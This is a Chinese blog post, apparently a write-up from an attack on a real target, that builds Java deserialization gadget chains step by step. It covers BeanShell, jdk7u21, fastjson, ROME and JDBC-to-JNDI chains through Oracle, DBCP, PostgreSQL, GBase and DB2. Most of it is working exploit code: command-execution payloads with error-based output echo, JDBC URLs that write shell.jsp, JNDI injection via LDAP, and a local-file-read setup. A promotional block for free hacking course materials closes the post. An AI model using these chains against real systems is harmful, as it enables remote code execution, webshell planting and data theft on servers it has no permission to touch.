1. 自定义反序列化
在它的某个页面中,发现了自定义反序列化,这个页面好就好在它会返回报错堆栈的序列化数据,方便debug。
URLDNS探测结果如下。
cc31or321
ajw
JRE8u20
fastjson
windows
cb17
bsh20b4
DefiningClassLoader
Jdk7u21
看起来反序列化链很多,实际结果呢?用jdk7u21试一试,结果当然是失败了。我们可以解析序列化报错堆栈来看为什么失败。
赫然发现根本没有com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。
回过头来看反序列化链,jdk7u21和jre8u20要TemplatesImpl,fastjson和cb17本质是调getter,基本也需要TemplatesImpl,那么剩下的就是cc31or321/ajw/bsh20b4。
继续探索后发现这三个类都被ban了,那么CC系和CB系就别想了。
org.apache.commons.collections.map.LazyMap
org.apache.commons.collections.map.TransformedMap
org.apache.commons.beanutils.BeanComparator
2. Bsh反序列化链
自此只剩下了bsh20b4链,这也是最终答案,但是依旧有坑点需要解决。
`Interpreter interpreter = new Interpreter();` `String cmd = "calc";` `String func = "isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");"` `+ "compare(Object foo, Object bar) {"` `+ "if(isWin){new java.lang.ProcessBuilder(new String[]{\"cmd.exe\",\"/c\",\""+cmd+"\"}).start();}"` `+ "else{new java.lang.ProcessBuilder(new String[]{\"/bin/bash\",\"-c\",\""+cmd+"\"}).start();}"` `+ "return new Integer(1);}";` `interpreter.eval(func);` `XThis xt = new XThis(interpreter.getNameSpace(), interpreter);` `InvocationHandler handler = (InvocationHandler) getFieldValue(xt, "invocationHandler");` `Comparator proxy = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(),new Class[]{Comparator.class}, handler);` `final PriorityQueue pq = new PriorityQueue();` `pq.add(1);` `pq.add(2);` `setFieldValue(pq, "comparator", proxy);`
得到的结果居然是
java.io.InvalidClassException: bsh.XThis; local class incompatible: stream classdesc serialVersionUID = -6803452281441498586, local class serialVersionUID = -5567781273343879209
尽管用的是同版本,依旧有serialVersionUID报错。首先我们得知道如何获取class的serialVersionUID,因为这玩意儿你直接反编译jar包,很多时候都看不到。
`ObjectStreamClass osc1 = ObjectStreamClass.lookup(bsh.XThis.class);` `System.out.println(osc1.getSerialVersionUID());`
其次就是怎么将本地上的serialVersionUID改成一样,有两种办法。
第一种是直接在引用jar包的同时,复制一个完全一样的类,并且自定义serialVersionUID属性。
这样的话,第三方jar包的bsh.XThis类就会被覆盖掉。同理,这种办法也可以应用在你需要修改第三方jar包的情况下(比如iiop的nat问题)。但注意,如果是jdk自带类,是无法覆盖掉的,这个时候就需要用到第二种方法。
第二种,反射修改。
当然,由于serialVersionUID是final修饰,我们常用的setFieldValue是无法修改的。
`public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {` `Field field = obj.getClass().getDeclaredField(fieldName);` `field.setAccessible(true);` `field.set(obj, value);` `}`
以下是实战中可能会碰上的修改TemplatesImpl的sUID。
`TemplatesImpl obj = new TemplatesImpl();` ` java.lang.reflect.Field sUID = obj.getClass().getDeclaredField("serialVersionUID");` `sUID.setAccessible(true);` `Field modifiersField = Field.class.getDeclaredField("modifiers");` `modifiersField.setAccessible(true);` `modifiersField.setInt(sUID, sUID.getModifiers() & ~Modifier.FINAL);` `sUID.set(obj, -3070939614679977597L);` `System.out.print(getFieldValue(obj, "serialVersionUID"));`
总而言之,当修改掉三处serialVersionUID之后,就能成功反序列化并执行命令了。此时由于无法用TemplatesImpl,只能用Bcel和DefineClass,再加上对方的环境不一定是tomcat,所以命令回显或者内存马并没有那么容易。但是这不是有序列化的堆栈回显吗?所以可以利用报错,轻松解析对方的返回包来达到命令回显的目的。考虑到对方jdk版本可能较低,bsh回显代码如下。
`if (cmd.isEmpty()) {` `cmd = "whoami";` `}` `ClassPool pool = ClassPool.getDefault();` `CtClass clazz = pool.makeClass("foo");` `CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);` `constructor.setExceptionTypes(new CtClass[]{pool.get("java.lang.Exception")});` ` constructor.setBody("{"` `+ " String cmd = \""+cmd+"\";\r\n"` `+ " String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd};\r\n"` `+ " Process process = Runtime.getRuntime().exec(cmds);\r\n"` `+ " java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\r\n"` `+ " java.util.Scanner s = new java.util.Scanner(in).useDelimiter(\"\\\\a\");\r\n"` `+ " String output = s.hasNext() ? s.next() : \"\";\r\n"` `+ " output = \"@@@@@\\r\\n\"+output+\"\\r\\n@@@@@\";\r\n"` `+ " throw new Exception(output);"` `+ "}");` ` clazz.addConstructor(constructor);` `clazz.getClassFile().setMajorVersion(50);//jdk1.6 52=jdk1.8` ` byte[] bs = clazz.toBytecode();` `String base64 = base64_encode(bs);` ` Interpreter interpreter = new Interpreter();` `String func =`` "compare(Object foo, Object bar) {"` `+ "new org.mozilla.javascript.DefiningClassLoader().defineClass(\"foo\",new sun.misc.BASE64Decoder().decodeBuffer(\""+base64+"\")).newInstance();"` `+ "return new Integer(1);"` `+ "}";`
不过需要注意,这样反序列化返回包提取信息有着被反制的风险。
3. 升级jdk7u21
后来发现有的目标将bsh版本升高了,返回
bsh.XThis$Handler; class invalid for deserialization
也就是说bsh.XThis$Handler不再支持反序列化,因此后续可能需要结合其他getter来利用。由于发现目标用的低版本JDK,因此jdk7u21+getConnection就是一种可能的组合。
我之前的一篇文章《从CommonsBeanutils说开去》中使用了cb链+getConnection,在jdk7u21中也可以这样用,先回顾下jdk7u21的代码。
`FileInputStream inputFromFile = new FileInputStream("D:\\Downloads\\workspace\\javareadobject\\bin\\test\\TemplatesImplcmd.class");` `byte[] bs = new byte[inputFromFile.available()];` `inputFromFile.read(bs);` `TemplatesImpl tempImpl = new TemplatesImpl();` `setFieldValue(tempImpl, "_bytecodes", new byte[][]{bs});` `setFieldValue(tempImpl, "_name", "TemplatesImpl");` `setFieldValue(tempImpl, "_tfactory", new TransformerFactoryImpl());`` ` `HashMap hm = new HashMap();` `Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];` `Permit.setAccessible(ctor);` `InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });` `setFieldValue(ih, "type", Templates.class);` `Templates TemplatesProxy = (Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(), new Class[] {Templates.class}, ih);` ` LinkedHashSet lhs = new LinkedHashSet();` `lhs.add(tempImpl);` `lhs.add(TemplatesProxy);` `setFieldValue(tempImpl, "_auxClasses", null);` `setFieldValue(tempImpl, "_class", null);` `hm.put("0DE2FF10", tempImpl);` ` ` ` ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));` `objectOutputStream.writeObject(lhs);` `objectOutputStream.close();`` ` `ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));` `objectInputStream.readObject();`
可以看的出来,jdk7u21本质上是往LinkedHashSet中放两个对象,一个是恶意类,一个是此类的接口的代理,然后通过反序列化链随机触发代理的一个方法。和CB链本质上执行任意getter一样,jdk7u21本质上就是执行接口的无参方法。如果有多个方法怎么办呢?测试下来发现会随机执行,如果运气比较差,有危害的方法不在第一个,就会直接抛错退出了。
如下图,Templates随机触发newTransformer和getOutputProperties,这两个都会RCE。
用jdk7多次执行如下代码也可以快速发现排第一个的方法是哪个。
`Class clazz = Class.forName("javax.sql.RowSet");` `Method[] methods = clazz.getMethods();`` System.out.println(methods[0]);``// for (int i = 0; i < methods.length; i++) {``// System.out.println(methods[0]);``// }`
具体原理如下。
https://mp.weixin.qq.com/s/XrAD1Q09mJ-95OXI2KaS9Q
而javax.sql.DataSource这个接口正好有getConnection()以触发jdbc,所以只需要找个实现了DataSource和Serializable接口的类就行。
在数据库相关jar包中,很容易找到这种类,之前我找到的是com.mysql.cj.jdbc.MysqlDataSource和oracle.jdbc.datasource.impl.OracleDataSource,但在目标环境中都无法使用。一是它没有mysql依赖,二是它jdk版本较低,而这两个类的代码要求高版本jdk。
在Oracle中很容易找到替代类,可以造成SSRF。
`OracleConnectionPoolDataSource ods = new OracleConnectionPoolDataSource();` `ods.setURL("jdbc:oracle:thin:@//127.0.0.1:1521/orcl");` `ods.setUser("system");` `ods.setPassword("123456");` `HashMap hm = new HashMap();` `Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];` `Permit.setAccessible(ctor);` `InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });` `setFieldValue(ih, "type", DataSource.class);` `DataSource TemplatesProxy = (DataSource)Proxy.newProxyInstance(DataSource.class.getClassLoader(), new Class[] {DataSource.class}, ih);` ` LinkedHashSet lhs = new LinkedHashSet();` `lhs.add(ods);` `lhs.add(TemplatesProxy);` `hm.put("0DE2FF10", ods);`
Oracle中还各有一个setter和一个getter可以造成jndi。
oracle.jdbc.rowset.OracleCachedRowSet obj = new OracleCachedRowSet();``obj.setDataSourceName("ldap://127.0.0.1:1389/exp");``obj.getConnection();`` ``oracle.jdbc.rowset.OracleJDBCRowSet obj2 = new OracleJDBCRowSet();``obj2.setDataSourceName("ldap://127.0.0.1:1389/exp");``obj2.setCommand("123");
后者曾在fastjson上使用过,前者可以本地环境测试成功,但实际用的时候会因为javax.sql.RowSetInternal接口方法太多,对方jdk环境第一个不是getConnection()导致报错。
`OracleCachedRowSet obj = new OracleCachedRowSet();` `obj.setDataSourceName("ldap://127.0.0.1:1389/exp");` `//obj.getConnection();`` ` ` HashMap hm = new HashMap();` `Constructor<?> ctor2 = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];` `Permit.setAccessible(ctor2);` `InvocationHandler ih = (InvocationHandler)ctor2.newInstance(new Object[] { Override.class, hm });` `setFieldValue(ih, "type", RowSetInternal.class);` `RowSetInternal odsProxy = (RowSetInternal)Proxy.newProxyInstance(RowSetInternal.class.getClassLoader(), new Class[] {RowSetInternal.class}, ih);` ` LinkedHashSet lhs = new LinkedHashSet();` `lhs.add(obj);` `lhs.add(odsProxy);` `hm.put("0DE2FF10", obj);`
4. 其他getConnection
仅SSRF显然是完全不够的,使用URLDNS继续探测jndi常用类,有如下结果。
org_apache_naming_factory_BeanFactory
org_postgresql_Driver
oracle_jdbc_driver_OracleDriver
org_yaml_snakeyaml_Yaml
com_thoughtworks_xstream_XStream
org_apache_catalina_users_MemoryUserDatabaseFactory
org_apache_commons_dbcp_BasicDataSourceFactory
org_apache_catalina_UserDatabase
其中postgresql可供我们jdbc攻击,而commons-dbcp则可能提供类似oracle.ucp.jdbc.PoolDataSourceImpl这种封装jdbc的类。
首先可以想到的是在fastjson不出网解决方案之一的org.apache.tomcat.dbcp.dbcp.BasicDataSource,不过很遗憾它没有实现Serializable。
继而我们可以发散思维,在jackson的黑名单中寻找方案。
`s.add("org.apache.tomcat.dbcp.dbcp.cpdsadapter.DriverAdapterCPDS");` `s.add("org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource");` `s.add("org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource");`
其中PerUserPoolDataSource和SharedPoolDataSource都是InstanceKeyDataSource的子类,它们可以实现jndi。
`InstanceKeyDataSource dbs = new SharedPoolDataSource();` `//dbs = new PerUserPoolDataSource();` `dbs.setDataSourceName("ldap://127.0.0.1:1389/deser:cck2:Y2FsYw==");` `//dbs.getConnection();` ` HashMap hm = new HashMap();` `Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];` `Permit.setAccessible(ctor);` `InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });` `setFieldValue(ih, "type", DataSource.class);` `DataSource dbsProxy = (DataSource)Proxy.newProxyInstance(DataSource.class.getClassLoader(), new Class[] {DataSource.class}, ih);` ` LinkedHashSet lhs = new LinkedHashSet();` `lhs.add(dbs);` `lhs.add(dbsProxy);` `hm.put("0DE2FF10", dbs);`
同时也存在sUID和依赖问题,使用commons-dbcp-1.2.jar/ commons-pool-1.2.jar/ commons-collections-3.1.jar即可。
但遗憾的是,本地测试没问题,实际漏洞利用的时候会报空指针。可能是因为低版本JDK的原因,而oldDS.pool是新生成的,无法控制。
于是将目光转向DriverAdapterCPDS,可以发现它实现javax.sql.ConnectionPoolDataSource,getPooledConnection()可以造成jdbc。
`DriverAdapterCPDS dbs = new DriverAdapterCPDS();` `dbs.setUrl("jdbc:postgresql://127.0.0.1:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp");` `dbs.setDriver("org.postgresql.Driver");` `dbs.setUser("root");` `dbs.setPassword("123456");` `//dbs.getPooledConnection();` ` HashMap hm = new HashMap();` `Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];` `Permit.setAccessible(ctor);` `InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });` `setFieldValue(ih, "type", ConnectionPoolDataSource.class);` `ConnectionPoolDataSource dbsProxy = (ConnectionPoolDataSource)Proxy.newProxyInstance(ConnectionPoolDataSource.class.getClassLoader(), new Class[] {ConnectionPoolDataSource.class}, ih);` `LinkedHashSet lhs = new LinkedHashSet();` `lhs.add(dbs);` `lhs.add(dbsProxy);` `hm.put("0DE2FF10", dbs);`
举一反三,还可以在postgresql中发现org.postgresql.ds.PGConnectionPoolDataSource,也实现了ConnectionPoolDataSource。
`PGConnectionPoolDataSource ods = new PGConnectionPoolDataSource();` `ods.setURL("jdbc:postgresql://127.0.0.1:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp");` `ods.setUser("root");` `ods.setPassword("123456");` ` HashMap hm = new HashMap();` `Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];` `Permit.setAccessible(ctor);` `InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });` `setFieldValue(ih, "type", ConnectionPoolDataSource.class);` `ConnectionPoolDataSource odsProxy = (ConnectionPoolDataSource)Proxy.newProxyInstance(ConnectionPoolDataSource.class.getClassLoader(), new Class[] {ConnectionPoolDataSource.class}, ih);` ` LinkedHashSet lhs = new LinkedHashSet();` `lhs.add(ods);` `lhs.add(odsProxy);` `hm.put("0DE2FF10", ods);`
postgresql存在两个jdbc漏洞,在目标环境上可以使用吗?答案是不行,对方使用的是低版本postgresql,并不存在那两个漏洞。
5. gbase jdbc
目标存在国产数据库(魔改mysql)gbase,用法和mysql几乎完全一样,虽然数据库无法用load data local infile语句,但客户端依旧存在文件读取漏洞。
`GBaseDataSource obj = new GBaseDataSource();` `obj.setAllowLoadLocalInfile(true);` `obj.setAllowUrlInLocalInfile(true);` `obj.setMaxAllowedPacket(65536);` `obj.setUser("root");` `obj.setPassword("123456");` `obj.setServerName("127.0.0.1");` `obj.setPort(3307);` `//obj.getConnection();` ` HashMap hm = new HashMap();` `Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];` `Permit.setAccessible(ctor);` `InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });` `setFieldValue(ih, "type", DataSource.class);` `DataSource odsProxy = (DataSource)Proxy.newProxyInstance(DataSource.class.getClassLoader(), new Class[] {DataSource.class}, ih);` ` LinkedHashSet lhs = new LinkedHashSet();` `lhs.add(obj);` `lhs.add(odsProxy);` `hm.put("0DE2FF10", obj);`
6. db2 jdbc
可以看出来,辛辛苦苦找的链均因为各种意外无法RCE,于是在目标上又探测到了db2和mssql,其中db2是存在jdbc转jndi的。
`Class.forName("com.ibm.db2.jcc.DB2Driver");` `String DB_URL = "jdbc:db2://localhost:50000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/qqq;";` `Connection conn = DriverManager.getConnection(DB_URL);`
很容易在db2jcc.jar上找到符合条件的类也就是com.ibm.db2.jcc.DB2ConnectionPoolDataSource
`DB2ConnectionPoolDataSource db2 = new DB2ConnectionPoolDataSource();` `db2.setDriverType(4);` `db2.setServerName("127.0.0.1");` `db2.setLoginTimeout(10000);` `db2.setPortNumber(5667);` `db2.setUser("root");` `db2.setPassword("123456");` `db2.setDatabaseName("test");` `db2.setClientRerouteServerListJNDIName("ldap://127.0.0.1:1389/qqq");` `//db2.getPooledConnection();` ` HashMap hm = new HashMap();` `Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];` `Permit.setAccessible(ctor);` `InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm });` `setFieldValue(ih, "type", ConnectionPoolDataSource.class);` `ConnectionPoolDataSource DataSourceProxy = (ConnectionPoolDataSource)Proxy.newProxyInstance(ConnectionPoolDataSource.class.getClassLoader(), new Class[] {ConnectionPoolDataSource.class}, ih);` ` LinkedHashSet lhs = new LinkedHashSet();` `lhs.add(db2);` `lhs.add(DataSourceProxy);` `hm.put("0DE2FF10", db2);`
这条反序列化转jdbc转jndi注入链倒是很顺利,没出什么问题。
7. codeql
找链的过程中还歪到什么rmi/swing上去了,整个过程离不开codeql的帮助。简单写写大概就是这样的。
import java`` ``abstract class Sink extends Method{}``abstract class Source extends SerializableMethod{}`` ``class SerializableMethod extends Method {` `SerializableMethod() {` `this.getDeclaringType().getASupertype*() instanceof TypeSerializable` `and not this.getDeclaringType().isAbstract() //不是接口或者抽象类` `and this.getDeclaringType().getASupertype*().isAbstract()` `and this.fromSource()` `and this.isPublic()` `and this.paramsString() = "()"` `//and this.getDeclaringType().getASupertype*().hasQualifiedName("javax.sql", "DataSource")` `}`` ``}`` ``class GetMethod extends Source {` `GetMethod() {` `(this.getName().matches("connect") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("connect"))` `or`` (this.getName().matches("get%Connection") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("get%Connection"))` `or` `(this.getName().matches("run") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("run"))` `or`` (this.getName().matches("execute") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("execute"))` `}``}`` `` ``from GetMethod source``select source,``source.getDeclaringType().getPackage().getName(),``source.getDeclaringType(),``source.getTotalNumberOfLines()
一些看起来能够造成危害实际上不行的方法。
bsh.util.AWTConsole.run() //java.io.PipedOutputStream无法序列化``javax.management.remote.rmi.RMIConnector.connect() //第一个方法不是它``oracle.jdbc.connector.OracleManagedConnectionFactory.getLogWriter() //第一个方法不是它``oracle.jdbc.rowset.OracleJDBCRowSet.execute() //第一个方法不是它``oracle.jdbc.pool.OraclePooledConnection.getConnection() //jdbc泄露用户名,但构造更加复杂,参考CVE-2021-2294``net.sourceforge.jtds.jdbcx.JtdsDataSource.getConnection() //jdbc泄露主机名,可写文件但无法控制内容。
8. fastjson+jndi
这里的fastjson完全不能用吗?当然不是,虽然fastjson原生反序列化链通常也是拿来触发TemplatesImpl.getOutputProperties(),但显然其他getter也可以。比如被我们抛弃的InstanceKeyDataSource。
`InstanceKeyDataSource obj = new SharedPoolDataSource();` `//obj = new PerUserPoolDataSource();` `obj.setDataSourceName("ldap://127.0.0.1:1389/exp");` ` JSONArray jsonArray = new JSONArray();` `jsonArray.add(obj);`` ` `BadAttributeValueExpException bd = new BadAttributeValueExpException(null);` `setFieldValue(bd,"val",jsonArray);`` ` `HashMap hashMap = new HashMap();` `hashMap.put(obj,bd);`
当然,我们更倾向于使用jdk原生getter而不是第三方jar包,原生getter中有一个非常出名的getter——com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData()。
但接到fastjson链中却不太好用,因为fastjson会轮询所有getter,在执行我们想要的那个getter之前,会触发其他getter导致进入checkState()校验导致报错中断。
当然,也许可以捏造出符合条件的conn/ps/rs,但终究还是很麻烦。于是一个可以替代JdbcRowSetImpl的com.sun.jndi.ldap.LdapAttribute就能派上用场了。
`Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});` `ctor.setAccessible(true);` `Attribute obj = (Attribute) ctor.newInstance("id");` `setFieldValue(obj, "baseCtxURL", "ldap://127.0.0.1:1389/");` `setFieldValue(obj, "rdn", new CompositeName("exp"+"//b"));` `obj.getAttributeDefinition();`
本地测试如下。
`String url = "ldap://127.0.0.1:1389/deser:fastjson2:Y2FsYw==";` `String ldap_url = url.substring(0,url.lastIndexOf("/"));` `String rdn = url.substring(url.lastIndexOf("/")+1);` `System.out.print(ldap_url+"\r\n");` `System.out.print(rdn+"\r\n");` ` Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});` `ctor.setAccessible(true);` `Attribute obj = (Attribute) ctor.newInstance("id");` `setFieldValue(obj, "baseCtxURL", ldap_url);` `setFieldValue(obj, "rdn", new CompositeName(rdn+"//b"));` `//obj.getAttributeDefinition();`` ` ` JSONArray jsonArray = new JSONArray();` `jsonArray.add(obj);` `BadAttributeValueExpException bd = new BadAttributeValueExpException(null);` `setFieldValue(bd,"val",jsonArray);` `HashMap hashMap = new HashMap();` `hashMap.put(obj,bd);`
不过遗憾的是BadAttributeValueExpException这个触发toString的核心类,在jdk1.7版本无法触发toString,因此fastjson和jackson的原生反序列化都只能用在jdk1.8或者以上版本。
有没有其他能够触发toString的办法呢?当然有,刚好有篇比较新的文章介绍了几个链。
https://xz.aliyun.com/t/12910
HotSwappableTargetSource & XString
依赖spring-aop.jar/spring-core.jar
`String url = "ldap://127.0.0.1:1389/deser:cb18:Y2FsYw==";` `String ldap_url = url.substring(0,url.lastIndexOf("/"));` `String rdn = url.substring(url.lastIndexOf("/")+1);` `System.out.print(ldap_url+"\r\n");` `System.out.print(rdn+"\r\n");` ` Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class});` `ctor.setAccessible(true);` `Attribute obj = (Attribute) ctor.newInstance("id");` `setFieldValue(obj, "baseCtxURL", ldap_url);` `setFieldValue(obj, "rdn", new CompositeName(rdn+"//b"));` `//obj.getAttributeDefinition();` `JSONObject jsonObject = new JSONObject();` `jsonObject.put("g","m");` `JSONObject jsonObject1 = new JSONObject();` `jsonObject1.put("g",obj);`` ` `HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);` `HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x"));`` ` `HashMap<Object,Object> hashMap = new HashMap<>();` `String java_version = System.getProperty("java.version").substring(0,3);` `double version = Double.parseDouble(java_version);` `System.out.println(version);` ` if (version < 1.8) {` `hashMap.put(v2,v2);` `hashMap.put(v1,v1);` `} else {` `hashMap.put(v1,v1);` `hashMap.put(v2,v2);` `}` `setFieldValue(v1,"target",jsonObject1);` ` HashMap hashMap2 = new HashMap();` `hashMap2.put(obj, hashMap);`
这条链有两个问题,一个是在jdk1.7时由于HashMap代码的变动,需要更改一下put顺序,另外一个就是它也存在和BadAttributeValueExpException一样的问题,fastjson版本过高就会经过checkAutoType导致报错。可以注意我最后用hashMap的处理。
9. ROME
https://xz.aliyun.com/t/12910
文章中还介绍了ROME链。
EqualsBean,依赖ROME<1.12.0
这条链如文章所述,有个反直觉的地方,JdbcRowSetImpl可以用,LdapAttribute用不了。LdapAttribute用不了的原因是LdapAttribute有个方法get(),会导致获取getter时报错——因为取不到getXX后面的XX。
而JdbcRowSetImpl可以用的原因是因为运气够好,恰好getDatabaseMetaData()前面的getter都不会报错(不是100%)。
详情可以断点com.sun.syndication.feed.impl.BeanIntrospector.getPDs()查看。
原文中给出的ROME链是这样的。
`ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));` `EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);` `Object templatesimpl = null;`` ` `HashMap<Object,Object> hashMap = new HashMap<>();` `hashMap.put(equalsBean,"123");`` ` `Field field = toStringBean.getClass().getDeclaredField("obj"); // 低版本(如1.0)此属性名为 _obj` `field.setAccessible(true);` `field.set(toStringBean,templatesimpl);`
先要把Templates 改成JdbcRowSetImpl。
new ConstantTransformer(1)看起来依赖CC链,实际上不是必须的。这里只是为了实例化时不报错,后面会反射成Templatesimpl。顺便做obj/_obj的兼容性处理。
`JdbcRowSetImpl obj = new JdbcRowSetImpl();` `JdbcRowSetImpl obj2 = new JdbcRowSetImpl();` `obj.setDataSourceName("ldap://127.0.0.1:1389/exp");`` ` `Object toStringBean = new ToStringBean(JdbcRowSetImpl.class,obj2);` `EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);`` ` `HashMap<Object,Object> hashMap = new HashMap<>();` `hashMap.put(equalsBean,"1");` ` try {` `setFieldValue(toStringBean, "obj", obj);` `} catch (Exception e) {` `setFieldValue(toStringBean, "_obj", obj);` `}`
由于ROME高版本和低版本包名不同,因此做反射处理。
`JdbcRowSetImpl obj = new JdbcRowSetImpl();` `JdbcRowSetImpl obj2 = new JdbcRowSetImpl();` `obj.setDataSourceName("ldap://127.0.0.1:1389/exp");`` ` `Class clazzToStringBean;` `Class clazzEqualsBean;` `try {` `clazzToStringBean = Class.forName("com.rometools.rome.feed.impl.ToStringBean");` `} catch (Exception e) {` `clazzToStringBean = Class.forName("com.sun.syndication.feed.impl.ToStringBean");` `}` `try {` `clazzEqualsBean = Class.forName("com.rometools.rome.feed.impl.EqualsBean");` `} catch (Exception e) {` `clazzEqualsBean = Class.forName("com.sun.syndication.feed.impl.EqualsBean");` `}` `Object toStringBean = clazzToStringBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(JdbcRowSetImpl.class,obj2);` `Object equalsBean = clazzEqualsBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(clazzToStringBean,toStringBean);` ` //Object toStringBean = new ToStringBean(JdbcRowSetImpl.class,obj2);` `//EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);`` ` `HashMap<Object,Object> hashMap = new HashMap<>();` `hashMap.put(equalsBean,"1");` ` try {` `setFieldValue(toStringBean, "obj", obj);` `} catch (Exception e) {` `setFieldValue(toStringBean, "_obj", obj);` `}`
这样已经可以本地测试成功了,但在 HashMap.put()时会有报错,尽管不影响执行。
在jdk1.7中是因为put时会触发toString,而toString会报错。如果将ToStringBean(JdbcRowSetImpl.class,obj2)中的obj2换成obj,就会提前触发jndi。正是靠这个原理,才能用readObject触发put触发toString。
想要不出现这个报错,绕过put()内的hash()即可,然后做jdk1.8和jdk1.7的兼容性处理。
`JdbcRowSetImpl obj = new JdbcRowSetImpl();` `JdbcRowSetImpl obj2 = new JdbcRowSetImpl();` `obj.setDataSourceName("ldap://127.0.0.1:1389/exp");`` ` `Class clazzToStringBean;` `Class clazzEqualsBean;` `try {` `clazzToStringBean = Class.forName("com.rometools.rome.feed.impl.ToStringBean");` `} catch (Exception e) {` `clazzToStringBean = Class.forName("com.sun.syndication.feed.impl.ToStringBean");` `}` `try {` `clazzEqualsBean = Class.forName("com.rometools.rome.feed.impl.EqualsBean");` `} catch (Exception e) {` `clazzEqualsBean = Class.forName("com.sun.syndication.feed.impl.EqualsBean");` `}` `Object toStringBean = clazzToStringBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(JdbcRowSetImpl.class,obj2);` `Object equalsBean = clazzEqualsBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(clazzToStringBean,toStringBean);` ` //Object toStringBean = new ToStringBean(JdbcRowSetImpl.class,obj2);` `//EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);`` ` `HashMap<Object,Object> hashMap = new HashMap<>();` `try {` `setFieldValue(hashMap, "modCount", 1);` `Method addEntry = HashMap.class.getDeclaredMethod("addEntry", new Class[]{int.class,Object.class,Object.class,int.class});` `addEntry.setAccessible(true);` `addEntry.invoke(hashMap, new Object[]{-2122412728,equalsBean,"123",8});` `} catch (Exception e) {` `try {` `Method putVal = HashMap.class.getDeclaredMethod("putVal", new Class[]{int.class,Object.class,Object.class,boolean.class,boolean.class});` `putVal.setAccessible(true);` `putVal.invoke(hashMap, new Object[]{-1997974365,equalsBean,"123",false,true});` `} catch (Exception e2) {` `hashMap.put(equalsBean,"123");` `}` `}`` try {` `setFieldValue(toStringBean, "obj", obj);` `} catch (Exception e) {` `setFieldValue(toStringBean, "_obj", obj);` `}`
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
4.工具包、面试题和源码
